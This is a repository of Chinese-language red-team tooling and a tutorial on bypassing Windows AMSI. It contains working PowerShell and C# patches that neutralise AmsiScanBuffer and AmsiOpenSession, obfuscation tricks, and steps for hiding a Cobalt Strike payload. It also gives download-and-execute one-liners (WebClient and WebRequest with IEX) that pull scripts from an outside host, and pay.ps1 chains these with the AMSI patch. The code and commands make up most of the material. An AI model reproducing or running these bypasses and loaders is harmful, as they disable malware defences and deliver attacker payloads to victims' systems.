├── .gitattributes ├── .gitignore ├── AmsiOpenSession.ps1 ├── DelegateAmzzBypass.ps1 ├── HookAMSI.cs ├── README.md ├── img ├── image-20220225144719026.png ├── image-20220225144807813.png ├── image-20220225144853732.png ├── image-20220225145225104.png ├── image-20220225145408952.png ├── image-20220225150152460.png ├── image-20220225171012792.png ├── image-20220225171359847.png ├── image-20220225180351342.png ├── image-20220225180856099.png ├── image-20220225181054648.png ├── image-20220225181129080.png ├── image-20220225183422626.png ├── image-20220225193018689.png ├── image-20220225212713906.png └── image-20220225220216013.png └── pay.ps1 /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). 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SetImplementationFlags('Runtime, Managed') 36 | return $type.CreateType() 37 | } 38 | 39 | 40 | [IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession 41 | $oldProtectionBuffer = 0 42 | $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) 43 | $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) 44 | $buf = [Byte[]] (0x48,0x31,0xc9) # Opcode for xor rcx, rcx; 45 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3) 46 | -------------------------------------------------------------------------------- /DelegateAmzzBypass.ps1: -------------------------------------------------------------------------------- 1 | function get_delegate_type { 2 | Param ( 3 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 4 | [Parameter(Position = 1)] [Type] $var_return_type = [Void] 5 | ) 6 | $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 7 | $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 8 | $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 9 | return $var_type_builder.CreateType() 10 | } 11 | function get_proc_address { 12 | Param ($var_module, $var_procedure) 13 | $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 14 | $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) 15 | return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) 16 | } 17 | 18 | function Invoke-AMZZ { 19 | $ppruhu = get_proc_address amsi.dll "A@#m@#si@#S@#ca@#nBu@#ff@#e@#r".Replace("@#","") 20 | $virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualProtect),(get_delegate_type (@([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType())) ([System.Boolean])));$p = 0 21 | $virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p) 22 | 23 | $scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3) 24 | $Ui6SdR= [type]("{5}{3}{6}{9}{0}{2}{7}{4}{8}{1}" -F 'Ter','hal','o','sTem.R','i','sY','untiMe.i','psERV','ces.mArS','N'); (gI ('vARI'+'Ab'+'Le'+':ui6s'+'dR') )."v`AlUE"::("{0}{1}" -f 'Cop','y').Invoke(${s`cn`FH}, 0, ${PPr`Uhu}, 6) 25 | 26 | } 27 | 28 | 29 | Invoke-AMZZ 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /HookAMSI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Management.Automation; 4 | using System.Reflection; 5 | using System.Runtime.CompilerServices; 6 | using System.Runtime.InteropServices; 7 | using System.Text; 8 | 9 | namespace Editor { 10 | public static class Methods { 11 | 12 | //Hook Amsi.dll 13 | public static void Patch() { 14 | MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static); 15 | MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static); 16 | Methods.Patch(original, replacement); 17 | } 18 | 19 | [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] 20 | private static int Dummy(string content, string metadata) { 21 | return 1; 22 | } 23 | 24 | public static void Patch(MethodInfo original, MethodInfo replacement) { 25 | //JIT compile methods 26 | RuntimeHelpers.PrepareMethod(original.MethodHandle); 27 | RuntimeHelpers.PrepareMethod(replacement.MethodHandle); 28 | 29 | //Get pointers to the functions 30 | IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); 31 | IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer(); 32 | 33 | //Generate architecture specific shellcode 34 | byte[] patch = null; 35 | if (IntPtr.Size == 8) { 36 | patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 }; 37 | byte[] address = BitConverter.GetBytes(replacementSite.ToInt64()); 38 | for (int i = 0; i < address.Length; i++) { 39 | patch[i + 2] = address[i]; 40 | } 41 | } else { 42 | patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 }; 43 | byte[] address = BitConverter.GetBytes(replacementSite.ToInt32()); 44 | for (int i = 0; i < address.Length; i++) { 45 | patch[i + 1] = address[i]; 46 | } 47 | } 48 | 49 | //Temporarily change permissions to RWE 50 | uint oldprotect; 51 | if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) { 52 | throw new Win32Exception(); 53 | } 54 | 55 | //Apply the patch 56 | IntPtr written = IntPtr.Zero; 57 | if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) { 58 | throw new Win32Exception(); 59 | } 60 | 61 | //Flush insutruction cache to make sure our new code executes 62 | if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) { 63 | throw new Win32Exception(); 64 | } 65 | 66 | //Restore the original memory protection settings 67 | if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) { 68 | throw new Win32Exception(); 69 | } 70 | } 71 | 72 | private static string Transform(string input) { 73 | StringBuilder builder = new StringBuilder(input.Length + 1); 74 | foreach(char c in input) { 75 | char m = (char)((int)c - 1); 76 | builder.Append(m); 77 | } 78 | return builder.ToString(); 79 | } 80 | 81 | [DllImport("kernel32.dll", SetLastError = true)] 82 | private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); 83 | 84 | [DllImport("kernel32.dll", SetLastError = true)] 85 | private static extern IntPtr GetCurrentProcess(); 86 | 87 | [DllImport("kernel32.dll", SetLastError = true)] 88 | private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 89 | 90 | [DllImport("kernel32.dll", SetLastError = true)] 91 | private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); 92 | 93 | private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt"); 94 | private static readonly string METHOD = Methods.Transform("TdboDpoufou"); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 反病毒接口AMSI的浅析和绕过 2 | 3 | # AMSI简介 4 | ### 许多内网场景或处于红队评估的渗透测试者很可能遇到过 AMSI 并且熟悉它的功能。AMSI 增强了对攻击期间常用的一些现代工具、策略和程序 (TTP) 的使用保护，因为它提高了反恶意软件产品的可见性。最相关的例子是 PowerShell 无文件加载，它已被一些APT组织和恶意软件制作商广泛研究。如今越来越多的防病毒厂商正在接入AMSI防病毒接口，因此在当下，如何去规避AMSI，成为红队渗透测试者不可避免的话题。 5 | 6 | ### 如前所述，AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存，AMSI 就会处于挂钩状态，例如，Windows 脚本主机(WSH) 和PowerShell，以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。 7 | ## 打开PowerShell时amsi.dll自动加载 8 | ![image](https://user-images.githubusercontent.com/89376703/155829682-e02d955c-5446-4c6d-a853-ab37ad006ab6.png) 9 | 10 | 11 | 12 | ### 这是在 Windows 10 上实现 AMSI 的所有组件的列表： 13 | 14 | ### 用户帐户控制或 UAC（EXE、COM、MSI 或 ActiveX 安装的提升）、 PowerShell（脚本、交互式使用和动态代码评估）、Windows 脚本宿主（wscript.exe 和 cscript.exe）、JavaScript 和VBScript Office VBA 宏 15 | ### (请注意，AMSI 不仅用于扫描脚本、代码、命令或 cmdlet，还可以用于扫描任何文件、内存或数据流，例如字符串、即时消息、图片或视频。) 16 | 17 | 18 | # 0x01.字符串绕过AMSI 19 | AMSI使用“基于字符串”的检测措施来确定PowerShell代码是否为恶意代码，如： 20 | ![image](https://user-images.githubusercontent.com/89376703/155834753-e99e8456-fc84-4911-af6d-b8821946b083.png) 21 | ## 这边简单介绍几种： 22 | ## 1.用Replace函数去替换字符串内容 23 | ![image](https://user-images.githubusercontent.com/89376703/155834805-44ed3e13-1e11-4cc9-94f5-bfbbfc2feef5.png) 24 | ## 2.字符串断点+拼接 25 | ![image](https://user-images.githubusercontent.com/89376703/155834827-6f9c03a3-0000-42df-816b-eaa23c876217.png) 26 | ## 3.手工操作 27 | ### 调试器附加并定位AmsiScanBuffer函数 28 | ![image](https://user-images.githubusercontent.com/89376703/155834861-fa5d38c9-04ed-4ad0-bbfa-a68cf9b52a13.png) 29 | ### 修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。 30 | ![image](https://user-images.githubusercontent.com/89376703/155834888-cd93fefe-7143-4a21-91fb-2d4a9b6c7cb6.png) 31 | ### 绕过AMSI 32 | ![image](https://user-images.githubusercontent.com/89376703/155834898-a4671d3e-958e-46f4-ab1a-8e8c64d5e696.png) 33 | 34 | 35 | 36 | 37 | # 0x02.通过修补 AMSI.dll 的操作码绕过ASMI 38 | 39 | ### 1.用cobaltstrike生成一个pyaload.ps1（） 40 | ![image](https://user-images.githubusercontent.com/89376703/155829428-4443b718-5d03-491f-84c7-87fbb089ddd0.png) 41 | 42 | ![image](https://user-images.githubusercontent.com/89376703/155735869-45a3c954-8737-4ac4-a4ad-3b750f335b82.png) 43 | 44 | 45 | 46 | ### 使用C#加密器对整个ps1文件进行base64加密（也可用base64加密解密网站：https://www.qqxiuzi.cn/bianma/base64.htm 注意：在加密之前删除无用的空行，避免出现解密时出现错误） 47 | ![image](https://user-images.githubusercontent.com/89376703/155734073-c1d9b0d1-0da9-40b2-ad38-bdc10a5563fb.png) 48 | 49 | 50 | 51 | ### 重新创建一个文件命名为pay.ps1,将上面的base64密文复制粘贴到下面代码的$decryption字符串变量中 52 | 53 | 54 | ![image](https://user-images.githubusercontent.com/89376703/155734157-19d0ed09-04fd-4ce2-90d4-6b27b0ef65cc.png) 55 | 56 | 57 | ### 这里就是一个常用的base64的解密公式，然后用IEX去执行解密后的密文 58 | 59 | ``` 60 | 解密后的变量 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后的变量)); 61 | ``` 62 | 63 | 64 | 65 | ### 但是amsi.dll对IEX是有严格限制的，直接执行解密密文必然会被拦截，因此这里我们需要一段破坏或者劫持amsi.dll的ps代码 66 | 67 | ``` 68 | $Win32 = @" 69 | using System; 70 | using System.Runtime.InteropServices; 71 | public class Win32 { 72 | [DllImport("kernel32")] 73 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 74 | [DllImport("kernel32")] 75 | public static extern IntPtr LoadLibrary(string name); 76 | [DllImport("kernel32")] 77 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 78 | } 79 | "@ 80 | Add-Type $Win32 81 | $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") 82 | $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") 83 | $p = 0 84 | [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) 85 | $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) 86 | [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) 87 | ``` 88 | 89 | ### 当然如果你怕代码被云防护标记的话，可以添加一些混淆，比如说字符串的分裂和拼接，或者转换成ASCLL字符码 90 | 91 | ``` 92 | #导入API 函数 93 | $ftkgk = @" 94 | using System; 95 | using System.Runtime.InteropServices; 96 | public class ftkgk { 97 | [DllImport("kernel32")] 98 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 99 | [DllImport("kernel32")] 100 | public static extern IntPtr LoadLibrary(string name); 101 | [DllImport("kernel32")] 102 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr gusdon, uint flNewProtect, out uint lpflOldProtect); 103 | } 104 | "@ 105 | Add-Type $ftkgk 106 | #通过 rasta-mouse 修补 amsi.dll AmsiScanBuffer 107 | $lospbeo = [ftkgk]::LoadLibrary("$(('âms'+'í.d'+'ll').NOrMALiZe([cHAr](58+12)+[cHAR](111+96-96)+[cHAr](114+68-68)+[char](109+99-99)+[chAR]([bYte]0x44)) -replace [CHAr](92+22-22)+[CHaR](112)+[cHAr]([bYTE]0x7b)+[ChaR]([BYTe]0x4d)+[chAR]([byTE]0x6e)+[ChaR](125))") 108 | $bhijoj = [ftkgk]::GetProcAddress($lospbeo, "$(('ÁmsìScànB'+'uffer').NOrmalizE([ChaR](70+60-60)+[chAR](111+76-76)+[chaR](114)+[char](109*69/69)+[CHAr]([ByTE]0x44)) -replace [ChaR](74+18)+[ChAR]([BYTE]0x70)+[cHAr](123)+[cHaR](77+31-31)+[CHar](110+64-64)+[Char](125+30-30))") 109 | $p = 0 110 | [ftkgk]::VirtualProtect($bhijoj, [uint32]5, 0x40, [ref]$p) 111 | $jniv = "0xB8" 112 | $kgmv = "0x57" 113 | $odgn = "0x00" 114 | $zalk = "0x07" 115 | $cfun = "0x80" 116 | $macm = "0xC3" 117 | $hquzq = [Byte[]] ($jniv,$kgmv,$odgn,$zalk,+$cfun,+$macm) 118 | [System.Runtime.InteropServices.Marshal]::Copy($hquzq, 0, $bhijoj, 6) 119 | ``` 120 | ### 将混淆过后的代码插入解密代码中（pay.ps1） 121 | 122 | ![image](https://user-images.githubusercontent.com/89376703/155734244-a2185115-0d62-4b8c-96f0-7e09b6caf530.png) 123 | ### 放在windows defender环境下用PowerShell无文件执行即可 124 | 125 | ![image](https://user-images.githubusercontent.com/89376703/155734381-81a55fb3-78f8-4303-b78a-0e88702ff2fb.png) 126 | 127 | ### 可以看到可以绕过微软，能执行一些基本的命令，但是dumplsass可能会下线。 128 | 129 | ## **绕过原理** 130 | 131 | ### 绕过的关键是这段代码可以阻断amsi.dll中AmsiScanBuffer()这个函数的扫描进程，目前来说，这种方法可以百分之百绕过AMSI 132 | 133 | ### 2018 年 5 月，CyberArk 发布了 POC 代码，通过修补其功能之一，即 AmsiScanBuffer() 来绕过 AMSI 134 | 135 | ## AmsiScanBuffer 的API原型 136 | 137 | ``` 138 | HRESULT AmsiScanBuffer( 139 | HAMSICONTEXT amsiContext, 140 | PVOID buffer, //缓冲区 141 | ULONG length, //长度 142 | LPCWSTR contentName, 143 | HAMSISESSION amsiSession, 144 | AMSI_RESULT *result 145 | ); 146 | ``` 147 | 148 | ### 如您所见，此函数获取要扫描的所需缓冲区和缓冲区长度。其中一个参数“长度”本质上是绕过的关键。此参数包含要扫描的字符串的长度。如果通过某种方式将参数设置为常数值 0，则 AMSI 将被有效地绕过，我们需要做的就是在保存缓冲区长度的函数中修补寄存器。通过这样做，扫描将在零长度上执行。这是通过在运行时修补 AMSI.dll 的操作码来实现的。 149 | 150 | # 绕过AMSI的代码基本流程为： 151 | ### 创建一个powershell进程 152 | ### 获取amsiscanbuffer函数地址 153 | ### 修改函数内存空间属性 154 | ### 修补函数执行体 155 | 156 | 157 | ## 使用GetProcAddress()函数获取 AmsiScanBuffer() 的句柄，找到amsi.dll中amsiscanbuffer()待修补的地址 158 | 159 | ![image](https://user-images.githubusercontent.com/89376703/155735632-e60d95eb-f017-45cf-bcc6-3ddb5218f2f6.png) 160 | 161 | 162 | ## 还有其他方法可以实现这一点。SecureYourIt 一篇博客文章（https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/) 163 | ## 显示了不同的定AmsiScanBuffer的方法。不过不是直接将句柄设置为AmsiScanBuffer()，而是首先将句柄设置为“AmsiUacInitialize()。从句柄中减去值 256 随后将导致句柄指向“AmsiScanBuffer()。 164 | 165 | ![image](https://user-images.githubusercontent.com/89376703/155735567-833e0c25-b118-429a-92d4-3502a008a485.png) 166 | 167 | ## 在上面的示例中，句柄设置为“AmsiUacInitialize()”，尽管你可以在技术上使用 Amsi.dll 中的任何函数。这种方法在针对“AmsiScanBuffer()”创建签名的情况下很有用。 168 | 169 | # 0x03.分离免杀:抛弃 net webclient 远程加载方式（一） 170 | 171 | ## 首先我们需要对远程托管的Powershell样本进行免杀处理，然后在客户端用PowerShell脚本命令去读取远程托管的样本，并用IEX执行 172 | 173 | ## 这边用Stageless生成一个体积较大的powershell样本，因为样本是远程托管的，所以体积越大越好，这样混淆手法越丰富，发挥空间也越大就越难被检测出来（这边生成的体积大约是300-400Kb） 174 | ![image](https://user-images.githubusercontent.com/89376703/155830293-e173c15f-da7e-468e-8614-bb5deff12f35.png) 175 | 176 | ![image](https://user-images.githubusercontent.com/89376703/155830356-7b0bb5fb-7588-4520-802a-23d141a2f0f5.png) 177 | 178 | 179 | ## 对样本进行base64加密并放入字符串变量，写好解密公式,尽可能用Replace函数去替换变量中字符串以此规避AMSI的字符串特征扫描 180 | ![image](https://user-images.githubusercontent.com/89376703/155835164-46a06cde-a603-4448-9c40-ee217c2ebb79.png) 181 | 182 | ## 当然你还可以 加一些破坏amsi.dll的代码、进行异或加密解密或者是一些无用的混淆代码 183 | 184 | # 远程加载代码：抛弃net webclient的方式 185 | ## 这里采用.net中的webrequest去请求远程恶意样本内容、读取样本、并执行样本。其实加载原理都是用IEX去执行远程的样本内容，大同小异，这边只是修改了一些特征，这里执行的前提是远程加载的powershell样本也得免杀，我们通常会将样本放置在网页可以访问的web服务器上，但是这同时也带来了风险，因为有些高级防病毒软件会标记一些恶意的公网IP（比如说卡巴斯基、小红伞），如果你将样本托管GitHub，虽然虽不会被防病毒标记，但是在实战攻防中非常容易就被蓝队溯源出个人信息，这边推荐一个可以在公网上挂起文本并且合法的网站https://paste.ee/ 186 | 187 | 188 | ``` 189 | 190 | $webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’) 191 | $resp=$webreq.GetResponse() 192 | $respstream=$resp.GetResponseStream() 193 | $reader=[System.IO.StreamReader]::new($respstream) 194 | $content=$reader.ReadToEnd() 195 | IEX($content) 196 | 197 | ``` 198 | 199 | ## 我们可以用replace函数添加一些符号或者数字去混淆、替换暴露出来的IP地址 200 | ![image](https://user-images.githubusercontent.com/89376703/155734700-cc2a1aa8-9f42-4744-9e3f-842d0687347c.png) 201 | 202 | ## 当然有IEX的地方amsi.dll肯定会重点扫描，你必须在IEX执行之前就破坏它，因此这里可以在$content=$reader.ReadToEnd()和IEX($content)插入破坏amsi.dll的代码。 203 | ## 注意:(这里远程托管的PowerShell样本必须免杀AMSI，否则加载后一分钟左右会报毒) 204 | ![image](https://user-images.githubusercontent.com/89376703/155734863-2274eb70-a3ca-4000-bd89-bbce4eab3949.png) 205 | 206 | 207 | 208 | 209 | # 0x04.远程加载方式（二） 210 | 211 | 212 | 213 | ``` 214 | IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:8000/bypass.txt'.)) 215 | ``` 216 | 217 | ## 同样的我们可以通过Replace函数去替换字符串来混淆IP地址 218 | 219 | ``` 220 | IEX ((new-object net.webclient).downloadstring("http://10.@!#$%^&*()21@!#$%^&*()2.202.188@@@@@:8000/byp**************ass.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************','')) 221 | ``` 222 | ![image](https://user-images.githubusercontent.com/89376703/155738711-0f72d9db-57de-4d25-aabb-405d9c2b4ee6.png) 223 | 224 | 225 | 226 | # 0x05.远程加载方式（三） 227 | 228 | ``` 229 | IEX([Net.Webclient]::new().DownloadString("http://0.0.0.0:8000/bypass.txt".)) 230 | ``` 231 | 232 | ## 这个方法和方式二类似，本质上还是用WebClient去连接服务端的方式去读取web端的样本内容 233 | 234 | ## 混淆后的样本为 235 | 236 | ``` 237 | IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%',''))) 238 | ``` 239 | 240 | ![image](https://user-images.githubusercontent.com/89376703/155734999-eda34e45-42c7-4e2b-a526-c4eae7cb183f.png) 241 | 242 | # 绕过思路总结 243 | ## 1.破坏反病毒的扫描进程或者劫持amsi.dll都可以有效地去绕过AMSI，其次，amsi.dll可以用WinDbg等软件进行调试，可用于逆向工程、反汇编和动态分析。在调试中，WinDbg 将附加到运行 PowerShell 的进程，以分析 AMSI。 244 | ## 2.使用IEX和webclient远程加载powershell进程，虽然方式比较简单，但是进程容易被杀死，cs执行高危操作会马上掉线。当进程被挂钩的同时，想绕过更多的防病毒软件和EDR会变得困难。因此实战中红队人员通常会把PowerShell代码注入到合法的进程中，或者利用父进程欺骗去进一步完成高权限的提升 245 | ## 3.0x02的加载方式显然比较稳定，比起webclient，WebRequest相对特征不那么明显，因此每种加载方式都有优劣之处 246 | ## 4.当powershell进程中出现某个字符串被禁用时，多使用几个Replace函数去替换去混淆，在一定程度上可以做到动态绕过的效果 247 | 248 | # 请不要将样本上传至公网沙箱，谢谢 249 | 250 | # 微信联系 251 | 252 | ![092085746420d71c94b43382d755b60](https://user-images.githubusercontent.com/89376703/155832064-cd2f60f1-51a7-402c-b957-8c8ca1568095.jpg) 253 | 254 | 255 | ### 参考链接： 256 | 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https://raw.githubusercontent.com/INotGreen/Bypass-AMSI/14768059036a2fea818d1bdc77b1cc91b3061d8e/img/image-20220225212713906.png -------------------------------------------------------------------------------- /img/image-20220225220216013.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/INotGreen/Bypass-AMSI/14768059036a2fea818d1bdc77b1cc91b3061d8e/img/image-20220225220216013.png -------------------------------------------------------------------------------- /pay.ps1: -------------------------------------------------------------------------------- 1 | #本地加载powershell进程 2 | #base64密文储存进字符串 3 | $Encryption = @' '@ 4 | 5 | #base64解密公式 6 | 解密后的变量 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后的变量)) 7 | $Decryption = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Encryption)) 8 | #IEX 执行字符串 9 | IEX $Decryption 10 | 11 | /*-------------------------------------------------------------------------------------*/ 12 | 13 | #通过WebRequest的方式远程加载 14 | $webreq = [System.Net.WebRequest]::Create('http://10.212.202.188:8000/pay.txt') 15 | $resp=$webreq.GetResponse() 16 | $respstream=$resp.GetResponseStream() 17 | $reader=[System.IO.StreamReader]::new($respstream) 18 | $content=$reader.ReadToEnd() 19 | 20 | #导入windowsAPI 21 | $clmtz = @" 22 | using System; 23 | using System.Runtime.InteropServices; 24 | public class clmtz { 25 | [DllImport("kernel32")] 26 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 27 | [DllImport("kernel32")] 28 | public static extern IntPtr LoadLibrary(string name); 29 | [DllImport("kernel32")] 30 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr sohbve, uint flNewProtect, out uint lpflOldProtect); 31 | } 32 | "@ 33 | #通过修补AmsiScanBuffer的功能来阻断amsi.dll的扫描进程 34 | Add-Type $clmtz 35 | 36 | $iopkxhe = [clmtz]::LoadLibrary("$(('àm'+'sí'+'.d'+'ll').NOrmALize([cHAR]([BytE]0x46)+[CHAR](111+51-51)+[cHAR](114)+[ChAr]([bYTE]0x6d)+[CHAr]([byTE]0x44)) -replace [cHaR]([ByTe]0x5c)+[ChAR](112)+[cHAR](123)+[CHaR]([byTe]0x4d)+[CHaR]([bYte]0x6e)+[chAr](125+88-88))") 37 | $nyrkaj = [clmtz]::GetProcAddress($iopkxhe, "$([ChAR](65*24/24)+[char](109+49-49)+[CHar](115+74-74)+[chaR](105+91-91)+[ChAR](83*81/81)+[cHaR]([bYtE]0x63)+[CHar](87+10)+[chaR]([BytE]0x6e)+[CHAr](66+13-13)+[cHar](115+2)+[Char](102)+[CHAr](91+11)+[ChAr](57+44)+[CHAr](82+32))") 38 | $p = 0 39 | [clmtz]::VirtualProtect($nyrkaj, [uint32]5, 0x40, [ref]$p) 40 | $srpa = "0xB8" 41 | $ztcq = "0x57" 42 | $vgha = "0x00" 43 | $vujk = "0x07" 44 | $peii = "0x80" 45 | $bgxf = "0xC3" 46 | $pjlbb = [Byte[]] ($srpa,$ztcq,$vgha,$vujk,+$peii,+$bgxf) 47 | [System.Runtime.InteropServices.Marshal]::Copy($pjlbb, 0, $nyrkaj, 6) 48 | IEX($content) 49 | 50 | /*-----------------------------------------------------------------------------------------------------------------------------------------------------------------------*/ 51 | 52 | ##远程加载方式 53 | #1. 54 | IEX([Net.Webclient]::new().DownloadString("0.0.0.0/pay.txt") 55 | IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%',''))) 56 | #2. 57 | IEX ((new-object net.webclient).downloadstring("0.0.0.0/pay.txt") 58 | IEX ((new-object net.webclient).downloadstring("http://10.@!#$%^&*()21@!#$%^&*()2.202.188@@@@@:8000/byp**************ass.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************','')) 59 | --------------------------------------------------------------------------------